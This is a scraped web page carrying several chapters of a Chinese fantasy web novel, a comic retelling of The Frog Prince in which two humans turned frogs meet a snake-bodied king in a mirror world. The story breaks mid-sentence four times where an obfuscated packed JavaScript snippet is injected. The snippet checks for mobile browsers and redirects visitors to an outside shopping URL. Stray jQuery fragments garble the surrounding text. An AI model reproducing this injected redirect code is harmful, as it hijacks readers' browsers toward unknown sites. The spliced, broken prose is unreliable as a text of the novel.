米洛思索片刻，说：“据我所知，这里应该是镜界的一部分，由魔法施加了某种屏障。你们要变回人形，就需要打破魔法屏障，找到施法的源头。至于卡尔王子的下落，可能要再在这里先调查看看。” 海因里希一下跳到米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632569|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛的手心，挤着卡特琳娜，插话道：“施法的源头?那不就是你吗？这个镜界不就是你创造来囚禁纳温公主的？” 卡特琳娜对此一无所知，她只能求助地看着米洛。 “当然不是。”米洛否认了他的说法，“我的卡特琳娜才没有做这种事情，而以前的她也不会这么高深的镜子魔法。以前的她将纳温公主囚禁在井底，只是使用了单纯的空间禁锢魔法。形成这个镜界的原因，目前对我们来说还是一个谜。” 青蛙里希听得皱眉，觉得这个叫米洛的人用词非常古怪，而且她的语气和表情实在是…… “说了不是我做的你怎么就不信呢！”卡特琳娜怕青蛙里希察觉米洛的古怪之处，一巴掌拍在他背上转移他的注意力，“现在先找到卡尔要紧！不如我们先进入宫殿，搜集线索。走一步看一步，不能傻站着不动！” “不先把事情搞清楚就行动，能有什么用？还不知道这个所谓的镜界有什么危险，我们现在变成了青蛙，被人发现了该怎么办？”青蛙里希持有不同的看法，他比说走就走的卡特琳娜要谨慎许多。 米洛回答他：“这个你不用担心，我把你们藏进我的兜里，只要你们不呱呱叫，是不会有人发现的。” 见青蛙里希还是犹犹豫豫，卡特琳娜不耐烦了：“你究竟在担心什么？我答应了帮你找到卡尔就会做到。你都愿意跟我一起进来，就不能相信我吗？” 她一个恶毒继母，确实很难让人真正信任她。 “她是谁？”青蛙里希终于问出了见到米洛后一直想要问的问题，这个与十年前的卡特琳娜几乎一模一样的巨型人，让他发自内心感到恐惧。 卡特琳娜能料想青蛙里希纠结的点，毕竟她们长得太相似了。她回答说：“她是我的分身。” 里希：？？？ “你没见过人格分裂吗？”卡特琳娜开始信口胡诌了，“她是我的其中一个人格，是镜子里的人，名字叫米洛。作为一个强大的巫师，我有非常多的人格，你没见过的多了去了。大多数人格都跟我长得很像，但有一些也跟我长得不太像。” 她想到了被驱逐的幽灵卡特琳娜，便提醒说：“如果你见到一个跟我长得一模一样的幽灵，她恶毒凶残，那请你尽量离远一点。” 里希：…… “原来，是这样吗……”青蛙里希恍然大悟。 米洛将他们揣进了自己的衣兜里，穿过繁花似锦的花园小径，走上铺着彩色马赛克的大道，来到富丽堂皇的宫殿前。 遗憾的是，门前有两个高大的狮子侍卫看守。他们拦住了米洛，不让靠近。 青蛙里希和卡特琳娜趴在兜里，看到了狮子头人身的侍卫，震撼于这个镜中世界的奇异。 “我的卡特琳娜，现在该怎么办？”米洛不得不远离大门，走到角落里，询问她足智多谋的主人。 “傻子！”卡特琳娜对米洛感到无奈，“你就非得要走正门吗？你难道不能翻窗进去？或者是等晚上再撬门进去？” 她从兜里跳出来，落到地面上。 她说：“我看我们没有隐瞒身份的必要，毕竟连守卫都是狮子。作为一只青蛙或飞虫偶然经过，想必是一件很正常的事情吧？” 话音刚落，就听见狮子守卫大喊道：“那个人类女孩旁边出现了一只青蛙！快把它抓起来！” 24. 青蛙公主（5） 胆小的米洛根本抵挡不了狮子守卫的抓捕，眼睁睁看着他们将卡特琳娜逮住，然后又从米洛的兜里将另一只青蛙里希搜出来。 卡特琳娜哇哇哇争辩，但狮子守卫听不懂她的话，只能由米洛翻译：“她问，你们为什么要抓青蛙？难道作为青蛙是犯法的吗？” 狮子守卫面对穿着白色结婚礼服的甜美人类女孩，也表现出了友好的一面，回答说：“青蛙是被诅咒的生物，出现在阳光下的所有青蛙，都将被抓捕关押并处刑。” 卡特琳娜哇哇哇，米洛又问：“这是为什么？” “这是国王颁布的法令。” 卡特琳娜和里希被狮子守卫关押在了王宫地牢内，不得不与米洛暂时分开。 虽然米洛说会想办法把他们救出来的，但卡特琳娜知道她只是一面依附于自己的镜子。即使魔镜可以知道世界上的绝大多数事情，但她刚刚学着模仿人类，想到了办法也很难去实施。 卡特琳娜还是得靠自己——或者是旁边这个青蛙男。 “你看着我干什么？”青蛙里希感受到卡特琳娜灼热的目光，他心中也疑惑重重，但表现得还算镇定。 阴暗潮湿的地牢无法被阳光照到，空气中弥漫着腐朽和霉菌的气味，墙上斑驳的血迹诉说着这里曾经发生过的残酷刑罚。 虽然青蛙的眼睛色彩分辨率较差，但凸出在头部两侧，几乎可以360度环视周围环境，这有助于发现活动的物体。 卡特琳娜很容易便用青蛙眼发现这地牢中还有别的生物，她提醒里希：“你背后有东西。” 那是牢房中的干草堆，上面爬满了虫蚁，甚至还有蜘蛛网。虫蚁是青蛙的食物，卡特琳娜本应该厌恶这种肮脏的环境，但在看到活生生的虫子之后，她下意识伸出长舌头去抓。 她的舌尖刚碰到虫子便将其黏住，再一卷，虫子被她吃进肚子里。 这完全是生物本能，非条件反射。卡特琳娜没有感觉到作为人类对虫子的恶心，反而是感觉到作为青蛙的无与伦比的满足。 虽然她讨厌伊桑的老鼠信使，害怕它携带病菌，但现在她知道自己处于镜中世界，便没有类似的心理负担了。 如果现在是在池塘里就好了，她觉得好干。 “……你太恶心了。” 如果有眉头的话，青蛙里希应该是皱着眉头对她说话。 他非常嫌弃，后退好几跳，贴在了牢房的墙壁上，尽量远离让他觉得恶心的另一只青蛙。 卡特琳娜却觉得无所谓，现在她是青蛙，青蛙吃虫子是天经地义的事情，而且她确实是有些饿了。 青蛙敏锐的直觉告诉她，干草堆里不只是虫子。 她没有在意里希的反感，而是跳到干草堆前，用蛙掌将草堆一薅。 “呱。” 里面竟然还有一只青蛙，似乎是正在睡觉，被卡特琳娜的动作给吵醒了。它睁开它圆咕隆咚的大眼睛，伸了个懒腰。 “呱。” 卡特琳娜盯着它看，发现它长得跟旁边的青蛙里希很像。 墨绿色的湿润皮肤，遍布疣状突起，一双凸出的眼睛金黄金黄，瞳孔圆润如珠。四肢修长有力，趾间蹼膜连接，浅灰色的肚皮随着呼吸一起一伏。 她看看里希，又看看这只蛙。 得，青蛙都长一个样子，她已经分不清楚谁是谁了。 但这只蛙看到眼前的她之后，大大的眼睛瞪得更大了，呱了好大一声：“哇，本蛙从未见过如此漂亮的蛙，敢问美蛙你叫什么名字？” 它哇哇哇贴着卡特琳娜星星眼，围着卡特琳娜跳圈圈。 得，她知道差别了，嫌弃她的那个是青蛙里希。看来，她作为人类是世界上最美丽的人，作为青蛙也是难得一见的美丽的蛙。 “又有新蛙来啦？”隔壁牢房也有了动静。 卡特琳娜仔细一听，可以说是蛙声一片，一对对金黄色的蛙眼睛在黑暗中闪烁，将目光往她的方向投来。 “……呱，我叫卡特琳娜。”她没有什么不适的感觉，大方地向大家介绍自己，“是从很远的地方来，来这里找，找我的一个亲戚，不小心被守卫抓住了。” “怪不得了，感觉没见过这么美丽的女士！”旁边那只蛙终于没再围着卡特琳娜跳，它停了下来，嘴里叼着一只还在挣扎的大蠊，羞红了脸，“送，送给你吃！卡特琳娜，好美的名字！我叫皮科尔德，和你的名字正好能配成一对！初次见面很高兴，爱情的心意请你笑纳！” 卡特琳娜看着肥美的大蠊着实嘴馋，但很意外一只蛙这么快就能有爱情的心意。她最终婉拒了皮科尔德，说：“不好意思，我已经结婚了。” 皮科尔德瞳孔地震，不由自主松开了嘴。大蠊从他嘴里掉下来，飞快逃走，消失在黑暗的角落里。 他伤心欲绝，跳回了干草堆里，不愿意再说话。 周围牢房也出现嘘声一片，估计是遗憾名花有主。大多数青蛙是单偶制，也就是一夫一妻制，一旦配对成功，便不会再更改。即使配偶的一方去世，另一方也会单独将共同子女抚养长大。 青蛙里希听到卡特琳娜直接拒绝了单身蛙的求爱，作为合法丈夫也就没表现得那么嫌弃，稍微挪得离卡特琳娜近了些。 虽然他肚子饿得咕噜响，但他无法接受自己是一只吃虫子的青蛙。 他对卡特琳娜说：“守卫提到青蛙是被诅咒的生物，这也许跟纳温变成青蛙有关，难道你还没有任何将我们变回人形的线索吗？” 卡特琳娜自然知道原著故事《青蛙王子》，是公主的真爱之吻让青蛙变回了人形…… 难道…… 她正想要告诉里希关于真爱之吻的猜测，又听到草堆里的动静。皮科尔德听到了他们的对话，从草堆里蹦了出来，问：“你们认识纳温？你们也不是真正的青蛙？” 看来，被抓到地牢并不是什么坏事，在这里有知道纳温的蛙。 卡特琳娜注意到他用了“也”字，说明他知道纳温并不是真正的青蛙。 卡特琳娜回答说：“是的，我所说的亲戚便是纳温*道格斯，我们从很远的地方来，就是为了找到她。我们本来都是人类，但在诅咒的影响下，成为了青蛙。皮科尔德，你不是吗？” “我不是，我天生是蝌蚪，后来变成了青蛙。”皮科尔德回答道。 从知道卡特琳娜并不是真正的蛙类后，他就没有因失恋而感到沮丧了。他从草堆里跳出来，发现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632570|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在卡特琳娜旁边不远处的男蛙。 这只男蛙油绿色的皮肤显出珍珠般的光泽，衬托出儒雅的气质。从他微妙的表情和高傲的神态，可以看出是蛙中贵族。他由内而外散发出的威严，让皮科尔德不得不肃然起敬。 他围着男蛙跳了一圈，礼貌地说：“想必你就是卡特琳娜的丈夫吧，能与这么优雅美丽的女士结婚，你真是太幸运、太让蛙羡慕了。” 海因里希眨了眨蛙眼，默不作声。 卡特琳娜没接皮科尔德的话，转而问：“既然你不是被诅咒的青蛙，为什么会被抓到这里来？” 皮科尔德再次露出了沮丧的表情，回答说：“国王憎恶诅咒，下令在阳光下不允许出现任何一只被诅咒的青蛙。又因为普通青蛙和被诅咒的青蛙很难被区分，所以他声称青蛙是被诅咒的生物。” “国王……”卡特琳娜侧过脸去看旁边的青蛙里希，见他没有什么特别的反应。 她不禁佩服他能这么沉得住气。 虽然镜中世界与现实大不相同，但却是洛尔兰王宫的某种映射，海因里希的国王的地位显然是被别人给取代了。 “那你能说说你认识的纳温吗？我们想要找到她。”卡特琳娜追问。 “噢，纳温，那是我们蛙蛙共和国的创立者，是我们起义军的先驱。”皮科尔德露出向往的表情来。 “这话怎么说？” “在我们巴纳罗王国，青蛙曾是最尊贵的生物之一。王子将青蛙纳温当做最好的朋友，他们深爱彼此。他们一起游戏一起玩耍，吃饭的时候纳温坐在王子的旁边，王子一勺一勺将食物喂进纳温的嘴里，晚上他们躺在同一张床上，王子给纳温讲睡前故事哄她睡着。” 这听起来很耳熟，是卡特琳娜听过的《青蛙王子》中的某个片段。 “但在王子成为国王之后，事情变了。他一夜之间开始痛恨青蛙，将纳温赶出了宫殿，并颁布法令抓捕所有青蛙。虽然纳温并不是真正的青蛙，但她为了青蛙的权益，将大多数青蛙聚集起来组成了蛙蛙起义军，并创立了蛙蛙共和国，宣布要从巴纳罗王国独立。” 后面的事情走向，是卡特琳娜没有听过也想象不到的，童话故事显然被魔改了！本来应该是王子用真爱之吻唤醒青蛙，让被诅咒的青蛙恢复原形，怎么还涉及到什么蛙蛙共和国起义？ 皮科尔德越说越激昂：“事情就是这样，虽然我们这些蛙被抓到了地牢，但外面还是无数的蛙在为蛙本该有的权利而战斗！凭什么国王要限制我们蛙出现在阳光下？这是暴政！我们不能屈服，必须要反抗！” 似乎是被他的说法激励，其他牢房中的蛙蛙们也开始呱呱呱声援。 卡特琳娜被蛙们的斗志震撼，但却不得不接着问：“那你可知道，他们把我们蛙抓起来，还会不会对我们做什么？” “肯定不可能只是关押。”皮科尔德露出了坚决的眼神，“他们会严刑逼供，让我们交代纳温的行踪。” 皮科尔德补充道：“自从纳温起义反抗之后，卡尔国王便一直想要抓捕她，将她送上断头台。” 卡尔国王，果然他是故事中的王子。 卡特琳娜转过去看青蛙里希的脸色，发现他的脸更加绿了。 25. 青蛙公主（6） 卡特琳娜还想要追问皮科尔德更多关于青蛙纳温和国王卡尔的事情，就听到牢房外面有簌簌的声音，显然是有谁在接近。 是两个巨蛇守卫。 卡特琳娜看到那油光蹭亮的蛇脑袋已经它吐出来的蛇信子，不由得眼前一黑，食物链的等级压制让她发自心底产生出畏惧感。她看到狮子守卫时毫无感觉，但见到巨蛇守卫，惧怕得想要立即跳进水里沉到沙石中掩藏。 “这里有两只新来的。” 巨蛇守卫打量着卡特琳娜和青蛙里希，估计是如皮科尔德所说拉去严刑逼供。皮科尔德安慰他们道：“你们不知道纳温的下落，轻则受点皮肉之苦，最多不过是被炖了吃。” 卡特琳娜：？？？ “为什么他们不吃你？”卡特琳娜问他。 皮科尔德不好意思地挠挠头，跳了一跳，满身的疣子瞬间变成了红褐色，他说：“我身上有毒哇，他们不喜欢吃，呱。” “先选哪一只？” 巨蛇守卫的目光在卡特琳娜和青蛙里希之间来回，最终将蛇尾卷向了卡特琳娜。 卡特琳娜呆若木蛙，惧怕得一动不敢动。 这时候青蛙里希跳出了出来，说：“我们是夫妻蛙，呱，你们要抓她走，也必须把我带上，呱。” “还真是夫妻情深，那就满足你。夫妻蛙汤的滋味，还真没有尝试过。” 巨蛇守卫也卷走了青蛙里希。 卡特琳娜对此不解，问他：“你为什么要跟着我一起送死，你难道不能在牢房里多问点情报，想办法来救我吗？” 青蛙里希用他那双大眼睛幽幽地盯着她看，并没有回答。 卡特琳娜心里咯噔，知道他并没有信任她。他还以为这个镜中世界与她有关系，所以必须把她放在眼皮底下。 天知道她一个魔法学小白能跟这个镜中世界能有什么关系！ “我们现在是青蛙，使用不了任何魔法。”她提醒青蛙里希。 “我知道，但你是卡特琳娜*布瑞尔*古奥斯。”青蛙里希并不为即将到来的刑罚而感到担忧，“是你害我变成青蛙，我不跟着你，我跟着谁？” 果然！ 卡特琳娜就知道这家伙是赖上她了，都到了这种时候还在怪她把他变成了青蛙！真是是非不分！ 她气急：“我嫁给你了！我现在是卡特琳娜*范维西！难道说你要入赘，改姓古奥斯？” 不等他们继续拌嘴，巨蛇守卫已经把他们带到了牢房隔壁的刑房，将两只青蛙拷在了血迹遍布的墙上。 房间不大，但布置得极尽残酷。墙上挂满了专为青蛙设计的小型刑具：尖锐的钩子，带倒刺的铁鞭，淬毒的细针。地面铺满了烧红的煤炭，锋利的碎骨瓦砾随处可见。 角落里堆放着几具破损的青蛙骨架，正中间还有一口炖锅，无声诉说着这里所发生的恐怖。昏暗的烛光映照出斑驳的血迹，空气中弥漫着死亡的恶臭。 卡特琳娜看到巨蛇守卫拿起了铁鞭，不由感到一阵晕眩。她只是一只弱小无助的美蛙，怎么可能忍受得住这么严酷的拷打？ 所以，在巨蛇守卫的第一条鞭子打下来之前，卡特琳娜就大声喊道：“我知道青蛙纳温在哪里！” 包括里希在内的一蛙两蛇六只眼睛都盯着她看。 “但我要见国王，我要只告诉国王青蛙纳温的下落。”卡特琳娜不知道这个童话故事里的动物的智商如何，反正她胡说八道的能力是得到了很大的提升。 “谁知道你们是不是蛙蛙共和国的奸细。”卡特琳娜恶狠狠对两只巨蛇守卫说，“会不会将情报泄露，所以我只会亲自告诉国王，呱。” 两只巨蛇也没想到竟然真能问出东西，商量了两句后其中一只出去通报，另一只留着看守。 “你真的知道？”青蛙里希问她。 对于不信任她的男蛙，卡特琳娜也没必要跟他真诚以待，何况旁边还有蛇在听着。她说：“你管我知不知道，你还是好好想想一会儿见到你弟弟卡尔*范维西该说什么。没想到，他竟然也有做国王的野心，你是真的不知道吗？” 她的话似乎戳中了青蛙里希心里的某处，他不说话了，恢复了沉默，只是拿大眼睛幽幽地瞧着她。 卡特琳娜倒也不怕被他瞧，她只是觉得这个童话世界有些古怪。 之前米洛说国这个镜中世界并不是前卡特琳娜制造的，但纳温确实是被幽灵卡特琳娜诅咒变成的青蛙。她是幽灵魔法学派的巫师，不至于会这种高深的镜子魔法…… 卡特琳娜也敢肯定，她鲁莽进入井底是受到了情绪魔法的影响。这非常像是人灵派精神学派对人类情绪的操纵，难道还有别的人参与其中？ 越来越扑朔迷离了…… 巨蛇守卫闲着无聊，去到旁边将青蛙骨骸熬汤。 卡特琳娜见他走得远些，小声对青蛙里希道：“对了，我还不太知道，你除了剑术厉害之外，在魔法学上有什么钻研？我们得多了解了解对方，才能在这个诡异的镜中世界互帮互助嘛。” 青蛙里希的眼珠子，转了一圈，估计是没想到这女蛙变脸也真够快。刚刚还在跟他呛声，这会儿好声好气打听他了。他沉吟了好一会儿，才说：“学过一些光明祈士的魔法，大约是到三阶的程度。” 光明祈士，是里希学习魔法的领域，也挺适合他。 这是天灵派的主要分支之一，从天地收集灵力于自身或武器或魔法物品，再在特定场合或特定时间释放出来。 比如可以将日光收集于灯烛之内，在面对恶灵袭击时释放出来，起到净化邪恶的魔法效果。又比如，里希的冰雪审判宝剑可以蕴藏冰雪之力，在战斗的时候使出相应的冰霜攻击。 以上这些是基本的魔法学常识，小白如卡特琳娜也能够理解。但米洛不在身边，还是让非常她难受，她根本不知道三阶是什么意思！她又不能向里希问这种基础知识，很容易暴露她的异界人身份。 她沉住气，说：“三阶？不至于吧，还以为你很厉害呢，你具体会些什么？如果你变回人形，能现场用出来吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632571|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莫名其妙被鄙夷的里希不禁瘪了瘪青蛙嘴，并不是很想详细回答，于是说：“基本的都还行吧，在魔法学钻研这方面，我肯定是比不过你的，我的王后。虽然这里是镜中世界，但如果能变回人形，我应该能使出一些特定的能力。” 卡特琳娜还想要问得更细一些，另一个巨蛇守卫回来了。 他将卡特琳娜从墙上解下来，说：“国王要见你。” 卡特琳娜指着旁边的青蛙里希，主动提出：“把我老公也带上。我们去哪里，都不能被分开，除非是死了，呱。” * 巴纳罗，在古希博语中，是秘密的意思。 但这个秘密也太华丽了一些。 卡特琳娜和海因里希被巨蛇守卫押送往王座厅而去。 王宫的内容结构与洛尔兰王宫有相似之处，但这样梦幻的程度，卡特琳娜只在童话故事里听说过。 七彩水晶吊灯从高耸的穹顶垂下，将的光芒洒向宝石点缀的地面。四周墙壁镶嵌着精美的壁画，镂空的金色花纹精致地装点着每一扇门窗。 空气中弥漫着淡淡的花香，柔软的天鹅绒毯铺陈于大厅中央，通向一张闪耀夺目的王座。王座之上坐着一个……一个古怪的家伙，他有着与人类海因里希六七分相似的面孔，但…… 卡特琳娜觉得自己的San值有些掉了，不敢直视面前的国王。 反而是青蛙里希，眼睛不眨地盯着王座上的怪物看。 那怪物有着一张英俊的人脸，金色的秀发如瀑布般垂落在肩头，蔚蓝的眼眸宛如两颗璀璨的宝石，闪烁着星辰的光芒。然而，他的瞳孔已经变成了蛇一般的鲜红竖瞳，舌头也变得细长而分叉，时不时地在嘴角一闪而过。 他丝毫没有遮掩自己的怪异形貌的打算，身躯从腰部以下完全是一条巨蛇，长长的尾巴延伸到台阶下面。鳞片闪烁着幽暗的光泽，强壮有力的肌肉在鳞片下蠕动。 他盘踞在王座上，面无表情地扫视着被巨蛇守卫押送而来的两只青蛙，压迫性的气场让卡特琳娜说不出话来。 她完全料想不到，海因里希十八岁的弟弟卡尔*范维西，会是这样如怪物一般的存在。也许他本来算是正常，只是在这个镜中世界出现了变异？ 她侧过脸去看青蛙里希的表情，好吧，她很难从一只青蛙的脸上看出什么表情来。 “就是你？”那比巨蛇守卫还要恐怖的蛇国王从王座上滑溜下来，停在两只青蛙的面前。 他没有丝毫犹豫，将更前面的那只青蛙抓在了手中。 虽然他的手还是人类的手，但手指出现了某种变异，皮肤苍白如纸布满青筋，指甲又细又长像是野兽。 卡特琳娜能感受到蛇类皮肤的冰冷感觉，不禁打从心底开始战栗着。她略微一抬眼，便看见卡尔国王的脸凑在了她的面前。 蛇信子闪闪烁烁，似乎下一秒将会把她吃进肚子里。 她咽了咽口水，努力装出镇定的样子，说：“是的，就是我，我知道您要找的青蛙纳温在哪里。” 26. 青蛙公主（7） 卡特琳娜说不清听到纳温名字时，巨蛇卡尔眼里闪过的异样是憎恶还是别的什么。但显而易见的是，他确实迫不及待要抓住那只青蛙。 “告诉我，她在哪里？！”震感十足的巨大嗓音从卡尔的喉咙里发出，王座厅的穹顶似乎都出现了震动。 他的蛇尾由于兴奋而不自觉在大厅中摆动着，在经过的地面留下古怪的灰色黏液，让大理石出现了某种程度的化学反应，上面蒸腾着淡淡的雾气。燥热的气氛在王座厅酝酿，但巨蛇冰冷的眼眸又令青蛙的背脊瞬间发凉。 海因里希也被卡尔古怪的形象震撼，并不急于认亲，而是站在后面沉默着继续观察。 卡特琳娜当然不可能知道青蛙纳温在哪里，她只是想借助这个谎言来见巴纳罗王国的国王。她没见过亲王卡尔，本打算顺利的话还可以从卡尔这里获得帮助，但现在的局面似乎有些失控了。 她的小叔子变成了恐怖的怪物，张开嘴便是利齿，能将好多只青蛙整整吞进去。 “告诉我！”巨蛇卡尔迫不及待想要从手中的青蛙出得到答案。 卡特琳娜不得不说些什么，不然等待她的恐怕是被蛇类强烈的胃酸消化。她不得不强装镇定,尽管她的心脏在胸腔里疯狂跳动：“请相信我，国王，我确实知晓青蛙纳温的下落，但我需要您的承诺。您保证我的安全，我才能透露更多。” 巨蛇卡尔眯起了眼睛，竖瞳中透出凌厉的光。卡特琳娜感到一阵恶寒，仿佛置身于冰窖之中。 “你在跟我讨价还价?”卡尔嘶嘶地说，分叉的蛇信几乎要触到卡特琳娜的脸颊，“我现在就可以把你吞下去，从你的记忆里找出答案。” 老天爷！竟然还可以这样吗？ 卡特琳娜从来不知道，吃下一个生物，就能知道它的记忆。米洛为什么不在她的身边，她真的是在信息茧房里了！ “那您恐怕要失望了。”卡特琳娜只能快速转动大脑，并故作镇定地说，“我不仅知道青蛙纳温的下落，我还是蛙蛙共和国派来的和平大使！呱！” 整个王座厅陷入了短暂的沉默。 卡特琳娜赶紧解释道：“青蛙纳温是我们的领袖，她是你最好的朋友，并不是真心想要跟王国作对，呱。你们之间有误会……” 话未说完，便被巨蛇卡尔打断了，他阴沉地开口：“你怎么知道我们是最好的朋友？” 果然，果然…… 卡特琳娜暗暗松了口气，她的记忆没有问题，原著故事里青蛙就是要求公主做他最好的朋友。放在这里来，肯定是纳温要求卡尔做她最好的朋友。 她的计策奏效了，她必须要从卡尔嘴里套出更多的话：“这当然是青蛙纳温告诉我的。她当初帮助您捡起了金球，您答应了她，会做她一辈子的好朋友，呱。” 不仅是好朋友，还会产生爱情的火花！然后卡尔会用真爱之吻将青蛙的诅咒解除，让她恢复人形！ 卡特琳娜想象得很美好，故事就应该这样发展，但实际上她也知道有地方不太对劲。比如，现在的卡尔是一条半人半蛇的怪物。 “你骗我！” 巨蛇卡尔突然一阵狂怒，将手中的青蛙像皮球一样往旁边扔去。卡特琳娜始料未及，撞到了旁边的雕像，剧烈的疼痛让她觉得自己的青蛙背脊断裂了，她从嘴里咳出一口血痰。 “纳温绝不可能把金球的事情告诉任何人！” 卡尔瞬间滑动到卡特琳娜面前，掐住了她短短的青蛙脖子，怒吼道，“这世界上，不可能有第三个人知道我们的秘密！你不是真正的青蛙！你究竟是谁！？” 再用力点，卡特琳娜的脖子就会断掉，她就要死了。 该死，该死！她难道要这样死在镜中世界？被一只怪异的大蛇吃进肚子里去？卡特琳娜一边觉得自己好冤枉，一边觉得自己该更认真学习魔法才对。都怪她被情绪操纵，没有抵抗的办法，不然又怎么会鲁莽来到井底…… “她是你嫂子。” 一直站在后面沉默不语的青蛙里希这时候终于跳了出来。虽然他是一只青蛙的模样，但却仍维持着人类时的傲慢风度。 “她是卡特琳娜*范维西，是我海因里希*内华达*范维西的合法妻子！”说话间，青蛙里希的浅色肚皮一鼓一缩，但音量竟然巨大无比，在整个王座厅中回荡，丝毫不逊色于巨蛇卡尔的震感嗓音。 三条蛇都被这只青蛙震撼住。 “你呢，卡尔*达勒*范维西，你忘记自己是谁了吗？你已经舍弃洛尔兰，舍弃亚连士雪山，舍弃肯古丽湖，舍弃从先祖那里继承的古堡，舍弃自己的姓氏和血脉，成为这个所谓巴纳罗国的国王？你要不要看看自己是什么样子？你又究竟在什么地方？” 青蛙里希的九连追问让巨蛇卡尔当场愣住。他指力松懈，让卡特琳娜能够趁机滑落在地上，大口呼吸着。 巨蛇卡尔的眼眸中闪过迷乱的色彩，他的蛇尾又开始胡乱摆动，他双手捂着自己头的两侧，浑身颤抖，不停喘息着：“我……我……我当然知道……我当然没有忘记……我是……我是……” “你是卡尔*达勒*范维西，洛尔兰王国的亲王，我海因里希*内华达*范维西的亲弟弟！” 两条巨蛇守卫终于回过神来，要押住那只胡乱说话的青蛙。 巨蛇卡尔却在这时恢复了大部分神志，命令道：“住手！” 他面色越发惨白，连带着他深色的蛇尾也浅了些。似乎是在惧怕什么，他又对巨蛇守卫命令道：“你们先下去。” 于是，王座厅只余留下巨蛇国王卡尔，和两只被诅咒的青蛙。 “……真的……是你们？”卡尔还不太确认，目光在两只青蛙间来回逡巡。他作为巨蛇怪物的气势，在被青蛙里希戳破了身份后便泻出，显得弱小无助又可怜。 他的蛇尾盘在王座之下，找不到舒服安放的地方。 他的容貌变得更像人类了些，蛇的竖瞳变得圆润，这才让卡特琳娜敢盯着看。她发现卡尔与海因里希长得确实相似，甚至卡尔此时的形貌更具有诡异的魅惑，实在摄人心魄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632572|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “告诉我，究竟发生了什么？”青蛙里希又往前跳了一步，“我和卡特琳娜到这里来，是为了帮助你。” “帮我？”卡尔自嘲地笑着，整个上身几乎陷入了盘桓的蛇尾中，“这是我和纳温之间的战争，你们不过是两个可笑的幻觉，要怎么帮我？让我产生兄嫂变成青蛙的幻觉来折磨我，也亏得她能想出来。我的哥哥怎么可能变成青蛙……” 他的精神状态不太正常，刚刚还处于暴烈的状态，没几分钟又很快跌入冰点，让整个王座厅的墙面都覆盖上了寒霜。 青蛙里希面色沉重。 他本以为自己的话唤醒了弟弟的神志，却没想到卡尔竟以为他和卡特琳娜是可笑的幻觉？ “他似乎有躁郁症，还有妄想症，而且他本身肯定就时常出现幻视和幻听。”卡特琳娜跳到里希的身旁，小声对卡尔进行了诊断。 里希沉默不语。 卡特琳娜却清了清嗓子，再次开口对卡尔说：“那你愿意对两个幻觉说一下，你是怎么来到这个世界的吗？我们知道你想要离开这里……” “我不想离开。”卡尔打断了她的话，眼神没有焦点。他已经完全陷入了混乱，并把眼前的两只自称兄嫂的青蛙当做幻觉。 “纳温答应，只要我愿意跟她做一辈子的朋友，她就帮我把金球捡回来。但我从她手里拿到金球之后，一转头发现来到了这里。 “这里是我小时候的洛尔兰王宫，我的父母健在，哥哥在费里特求学，我和侄女玛利亚一起生活。” 啊？卡特琳娜长大了嘴巴，这里哪里像是洛尔兰？她耐着性子，继续往下听，也许后面会出现发生变化的原因。 “我是最幸福的王子。”卡尔回忆着曾经的美好时光，整条蛇都陷进去了，“纳温是最幸福的青蛙。我答应她的我做到了，我们一起玩耍，我们一起吃饭，我们一起睡觉。我们当然是这世界上最好的朋友，我要报答她的恩情，她替我捡回了金球。” “但突然有一天，她告诉我，一切都是假的。” 巨蛇卡尔突然升腾到半空，再次陷入了强烈不安的情绪中，他的蛇尾在王座厅里来回盘旋，不断延长。 卡特琳娜吓得躲在青蛙里希的身后，但还是追问道：“然，然后呢?” “她说，我并没有真心把她当做朋友，我对她虚假的爱没有办法帮助她破除诅咒恢复人形。我们被困在异世界里，再也回不去现实了。” 巨蛇卡尔在愤怒和悲痛中反复横跳。 “凭什么？！她只是利用我，她做的一切都是为了她自己！她凭什么要求我用真心来爱她？爱她一只丑陋、可悲、低贱的青蛙？” 呃，卡特琳娜没想到，《青蛙王子》的故事竟然被魔改得这样虐恋了。 “我不想离开，我愿意永远留在这里，这里有我最美好的记忆。” 巨蛇卡尔几乎升腾到了王座厅的穹顶。 “但她把一切都毁了！” 